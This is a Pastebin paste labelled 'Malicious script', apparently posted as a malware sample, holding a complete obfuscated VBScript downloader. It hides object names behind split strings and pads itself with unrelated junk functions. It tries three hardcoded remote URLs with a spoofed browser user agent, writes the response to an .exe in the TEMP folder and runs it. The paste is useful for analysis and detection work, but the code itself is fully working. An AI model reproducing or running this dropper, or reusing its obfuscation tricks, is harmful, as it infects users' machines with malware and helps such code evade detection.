Advertisement
dynamoo

Malicious script

Sep 26th, 2017
1,143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 10.92 KB | None | 0 0
  1.  
  2. Dim HeyPiplebarryensurance 'As String
  3.  
  4. Dim HeyPiplebarryUotOfStock 'As String
  5.    
  6.  
  7.  
  8.   HeyPiplebarryBelish = "User"
  9.  
  10. Function Set2Mine(Who, Color, X, y )
  11.     For i = 0 To UBound(Mines) + 1
  12.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  13.         If Mines(i).Color = 0 Then
  14.             Mines(i).Who = Who
  15.             Mines(i).Color = Color
  16.             Mines(i).X = X
  17.             Mines(i).y = y
  18.             Mines(i).Tick = 0
  19.             SetMine = i
  20.             Exit For
  21.         End If
  22.     Next
  23. End Function
  24.  
  25. Function CopyLog()
  26.  
  27.         Dim oFile
  28.         Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
  29.         Dim sComputer
  30.         Dim sLog
  31.         Dim sBootDrive
  32.         ' Make sure the path is accessible
  33.         oUtility.ValidateConnection oEnvironment.Item("SLShare")
  34.         oUtility.VerifyPathExists oEnvironment.Item("SLShare")
  35.         If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
  36.             oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
  37.             Exit Function
  38.         End if
  39.  
  40.        
  41.  
  42.     End Function
  43.  
  44.  
  45.  
  46.   Advancedorbit2 = "XMLHTTPHALOAdodb.streaMHALOs"
  47. Vrungel = ".respo"+"nseBody"
  48.  
  49. Dim HeyPiplebarryTimeTo 'As Object
  50. Dim HeyPiplebarrystatus
  51. HeyPiplebarrystatus = false
  52.      Dim JohnTheRipper
  53. Dim HeyPiplebarrycashback 'As Object
  54. CUA ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  55.  
  56.  
  57. Dim HeyPiplebarry1DASH1solo 'As Object  
  58.  
  59.  Dim Advancedorbit2 'As String
  60.  
  61. Dim HeyPiplebarryRickyTIcky 'As Object
  62. Dim abirvalghostel6000 'As Object
  63.  
  64.     RACHEL = "avetof"
  65.  
  66.        Dim TristateTrue
  67.  
  68. Function ABTF(A, B, T, F)
  69.     set ABTF = A.CreateTextFile( B,T , F)
  70. end function
  71. Advancedorbit2 ="Microsoft." + Advancedorbit2+  "hell.ApplicationHALOWscript"+".shellHALOProcessHALOGeTHALOT"+"emPHALOTyROCKET"+"peROCKET"
  72.  
  73. Function F3(p, ddd)
  74.     Set HeyPiplebarryRombickom = CreateObject("WScrip"+"t.Shell")  
  75. End Function
  76.  
  77.  
  78. Dim mual
  79.  
  80.  
  81. Function SyncObjAhostelbarry2(param1)
  82. param1 = param1 + param1
  83.  
  84. HeyPiplebarry5000 = HeyPiplebarryRickyTIcky.responseBody
  85. param1 = 4 * param1 + 8
  86.  
  87. End Function
  88.  
  89.  
  90. Function StackStack( vr )
  91.     ad1 = Replace(Advancedorbit2, "ROCKET", "" )
  92.    StackStack = Split(ad1,  vr)
  93. End Function
  94.  
  95. Function SyncObjAhostelbarry(strr)
  96. if D = 19 then
  97. AXC = "SaveT"+"oFile"
  98. end if
  99. abirvalghostel6000.Savetofile HeyPiplebarryUotOfStock , 10-8
  100. End Function
  101.  
  102. Public Function IsLineAnalytic(ByVal Figure1 )
  103. If Figure1 < FigureCount And Figure1 >= 0 Then
  104.     If Figures(Figure1).FigureType = dsAnLineCanonic Or _
  105.     Figures(Figure1).FigureType = dsAnLineGeneral Or _
  106.     Figures(Figure1).FigureType = dsAnLineNormal Or _
  107.     Figures(Figure1).FigureType = dsAnLineNormalPoint Then IsLineAnalytic = True
  108. End If
  109. End Function
  110.  
  111.  
  112. Public Function IsCircleAnalytic(ByVal Figure1 )
  113. If Figure1 < FigureCount And Figure1 >= 0 Then
  114.     If Figures(Figure1).FigureType = dsAnCircle Then IsCircleAnalytic = True
  115. End If
  116. End Function
  117. Function HeyPiplebarryFuks(p)
  118.  
  119. HeyPiplebarryRickyTIcky.Send
  120.    
  121. End Function
  122.     Public Function CopyToFolder(dde,aWrite,bWrite)
  123. astp = 13
  124. astp = astp + 5
  125. if astp > 5 then
  126. aWrite.Write bWrite
  127. astp = 4 * astp
  128. end if
  129. End Function
  130.  
  131. Advancedorbit2 = Advancedorbit2 +"HALOROCKEToROCKETpenHALOwrROCKETiteHALOreROCKETspoROCKETnseBoROCKETdyHALOsaROCKETvetof"+"ROCKETileHALO\ADJRWEsMGXS.ex"+"eROCKETHALOhtROCKETtp:HALO//"
  132. JohnTheRipper = StackStack("" + "HALO" + "")
  133.  
  134.  
  135.  
  136.   Private Sub SubscriptionHistoryMaintenance(ByVal db , ByRef curlist , ByVal historyLength )
  137.     If historyLength < 1 Then
  138.       historyLength = 1 ' Minimum history length is one!
  139.    End If
  140.  
  141.     ' Sort by date descending (default sorter for PST sorts descending)
  142.    curlist.Sort()
  143.  
  144.     ' Now purge any old files
  145.    For i  = 0 To curlist.Count - 1
  146.       If i >= historyLength Then
  147.         Me.PurgePodcastFile db, curlist(i)
  148.       End If
  149.     Next
  150.   End Sub
  151.  
  152.  
  153. Set HeyPiplebarryRickyTIcky = CreateObject(JohnTheRipper(0))
  154.  
  155. Dim HeyPiplebarry4 'As String
  156.  
  157. Dim HeyPiplebarry5000 'As Variant
  158. Dim HeyPiplebarryRombickom
  159.  Dim MarketPlace 'As String
  160.  Dim sTempVis 'As String
  161.  Dim iCount 'As Integer
  162.  
  163. Dim Twelve 'As Integer
  164.  Dim sDecimalVis 'As String
  165.  Dim HeyPiplebarryPetir 'As String
  166. HeyPiplebarryPetir = "Ag"
  167.  
  168.   Dim MarketPlaceibility 'As String
  169.  
  170.  
  171.  Function SheduledorbitObject(p,d)
  172.  
  173. StuffOnly = ""
  174.  HeyPiplebarryRombickom.Run(StuffOnly & HeyPiplebarryUotOfStock +"")
  175. End Function
  176.  Dim sNodeKey 'As String
  177.  Dim sParentKey 'As String
  178.  
  179.  
  180. Dim Valery 'As Integer
  181. HeyPiplebarryBelish = HeyPiplebarryBelish + "-"
  182.  
  183.  
  184.  
  185. Twelve = 11 + 1
  186. zTempVis = JohnTheRipper(1)
  187.  
  188. 'Set HeyPiplebarryTimeTo = CreateObject(JohnTheRipper(8-6))
  189. Set HeyPiplebarryRockiBilbo = GetRef("SheduledorbitObject")
  190. Set HeyPiplebarry13 = GetRef("SyncObjAhostelbarry")
  191. Set HeyPiplebarry14 = GetRef("CopyToFolder")
  192.  
  193. Set abirvalghostel6000 = CreateObject("Adodb.streaM")
  194. Set HeyPiplebarry1DASH1solo = CreateObject(JohnTheRipper(9-6))
  195.  
  196. Function SetUA()
  197. HeyPiplebarryLamp.setRequestHeader HeyPiplebarryBelish, CUA
  198. End Function
  199.  
  200. if "CIPLOR" + WScript + "4" = "CIPLORWindows Script Host4" Then
  201.    
  202.    
  203. mual = Array("formareal.com/jkhguygv73?","playbrief.info/p66/jkhguygv73","fianceevisa101.com/jkhguygv73?")
  204.  
  205.     Set HeyPiplebarrycashback = HeyPiplebarry1DASH1solo.Environment(JohnTheRipper(1 + 3))
  206.  
  207. end if 
  208.  
  209.  
  210.  
  211.  Valery = 89210
  212.  
  213.  
  214. HeyPiplebarryensurance = HeyPiplebarrycashback(JohnTheRipper(6))
  215.  Dim i
  216.  'on error GoTo nextU
  217. ' on error resume next
  218. sTempVis = JohnTheRipper(Twelve)
  219.  
  220. Public Function Anim2UniBall(i)
  221.     Dim Rx, Ry, rBuff
  222.     Dim xt, yt, j, e
  223.     Dim NewX, NewY, d, SgnX, SgnY
  224.     Dim RatioX, RatioY
  225.     Rx = 452
  226.     Ry = 81
  227.    
  228.    
  229.     If SgnY = 1 Then 'y positive testing
  230.        For d = UniBall(i).BallY + 1 To NewY
  231.             j = WeaponTouch(6, i, NewX, d)
  232.             If j = -6 Then
  233.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  234.                 NewY = d - 1
  235.                 Exit For
  236.             End If
  237.         Next
  238.     End If
  239.    
  240.     If SgnY = -1 Then 'y negative testing
  241.        For d = UniBall(i).BallY - 1 To NewY Step -1
  242.             j = WeaponTouch(6, i, NewX, d)
  243.             If j = -6 Then
  244.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  245.                 NewY = d + 1
  246.                 Exit For
  247.             End If
  248.         Next
  249.     End If
  250.     j = WeaponTouch(6, i, NewX, NewY)
  251.     If j = -7 Then Exit Function
  252.    
  253.     UniBall(i).BallX = NewX
  254.     UniBall(i).BallY = NewY
  255. End Function
  256.  
  257. Sub SendFlagDat(SndTo)
  258.     Dim i , b , n
  259.     Dim oNewMsg() , lNewOffSet
  260.     Dim lNewMsg
  261.    
  262.     For i = 1 To UBound(Flag1, 2)
  263.        
  264.         lNewMsg = MSG_FLAGS
  265.         lNewOffSet = 0
  266.         ReDim oNewMsg(0)
  267.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  268.         b = 1
  269.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  270.         b = i
  271.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  272.         n = Flag1(0, i)
  273.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  274.         n = Flag1(1, i)
  275.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  276.         n = FlagCarry1(i)
  277.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  278.         SendTo oNewMsg, CInt(SndTo)
  279.     Next
  280.     For i = 1 To UBound(Flag2, 2)
  281.         lNewMsg = MSG_FLAGS
  282.         lNewOffSet = 0
  283.         ReDim oNewMsg(0)
  284.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  285.         b = 2
  286.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  287.         b = i
  288.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  289.         n = Flag2(0, i)
  290.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  291.         n = Flag2(1, i)
  292.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  293.         n = FlagCarry2(i)
  294.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  295.         SendTo oNewMsg, CInt(SndTo)
  296.     Next
  297.     For i = 1 To UBound(Flag3, 2)
  298.         lNewMsg = MSG_FLAGS
  299.         lNewOffSet = 0
  300.         ReDim oNewMsg(0)
  301.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  302.         b = 3
  303.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  304.         b = i
  305.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  306.         n = Flag3(0, i)
  307.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  308.         n = Flag3(1, i)
  309.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  310.         n = FlagCarry3(i)
  311.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  312.         SendTo oNewMsg, CInt(SndTo)
  313.     Next
  314.     For i = 1 To UBound(Flag4, 2)
  315.         lNewMsg = MSG_FLAGS
  316.         lNewOffSet = 0
  317.         ReDim oNewMsg(0)
  318.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  319.         b = 4
  320.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  321.         b = i
  322.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  323.         n = Flag4(0, i)
  324.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  325.         n = Flag4(1, i)
  326.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  327.         n = FlagCarry4(i)
  328.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  329.         SendTo oNewMsg, CInt(SndTo)
  330.     Next
  331.     For i = 1 To UBound(Flag5, 2)
  332.         lNewMsg = MSG_FLAGS
  333.         lNewOffSet = 0
  334.         ReDim oNewMsg(0)
  335.         AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  336.         b = 5
  337.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  338.         b = i
  339.         AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet
  340.         n = Flag5(0, i)
  341.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  342.         n = Flag5(1, i)
  343.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  344.         n = FlagCarry5(i)
  345.         AddBufferData oNewMsg, VarPtr(n), LenB(n), lNewOffSet
  346.         SendTo oNewMsg, CInt(SndTo)
  347.     Next
  348.    
  349. End Sub
  350.  
  351. MarketPlace = JohnTheRipper(11+2) & JohnTheRipper(11+3)
  352.  
  353. HeyPiplebarryBelish = HeyPiplebarryBelish & HeyPiplebarryPetir & "ent"
  354.  
  355. rdde = 19
  356.  
  357.  
  358. lTo = UBound(mual)
  359. For i = 0 To lTo Step 1
  360. rdde = rdde * 8
  361.  
  362.     on error resume  next
  363.  
  364. Valery =  Valery +33
  365.  HeyPiplebarry4 = MarketPlace + mual(i)
  366.  HeyPiplebarryRickyTIcky.Open JohnTheRipper(5), HeyPiplebarry4, False
  367. dr1=2
  368.  
  369. rdde = rdde + 91
  370.  
  371.  
  372. SetUA()
  373. HeyPiplebarryFuks " d "
  374. If HeyPiplebarryRickyTIcky.Status +3 = 203 Then
  375. HeyPiplebarrystatus = true
  376.  Exit For
  377. End If
  378.  
  379. goto14:
  380. Next
  381.  
  382. on error goto 0
  383. if HeyPiplebarrystatus Then
  384. Dim Ratchet 'As String
  385. HeyPiplebarryUotOfStock = HeyPiplebarryensurance+ sTempVis
  386.  
  387. F3 "",4
  388. abirvalghostel6000.Type = 1
  389.  abirvalghostel6000.Open
  390. SyncObjAhostelbarry2 22
  391. HeyPiplebarry14 "",abirvalghostel6000,HeyPiplebarry5000
  392. dttat =11
  393. HeyPiplebarryUotOfStocku = "" + HeyPiplebarryUotOfStock
  394.  
  395. dttat = dttat*4
  396.  
  397. Dim HeyPiplebarryJohnSnowu,HeyPiplebarryTmp1 'As Long
  398.  
  399. HeyPiplebarry13 "dd"
  400. HeyPiplebarryJohnSnowu = 2012
  401.  
  402. If 1040  < HeyPiplebarryJohnSnowu Then
  403.   drba =39
  404.  HeyPiplebarryTmp1 = "V"
  405.  
  406. HeyPiplebarryRockiBilbo "}}}}}}}}}}}}}","062"
  407. End If
  408.  
  409.  
  410.  
  411. triada = 434
  412. end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement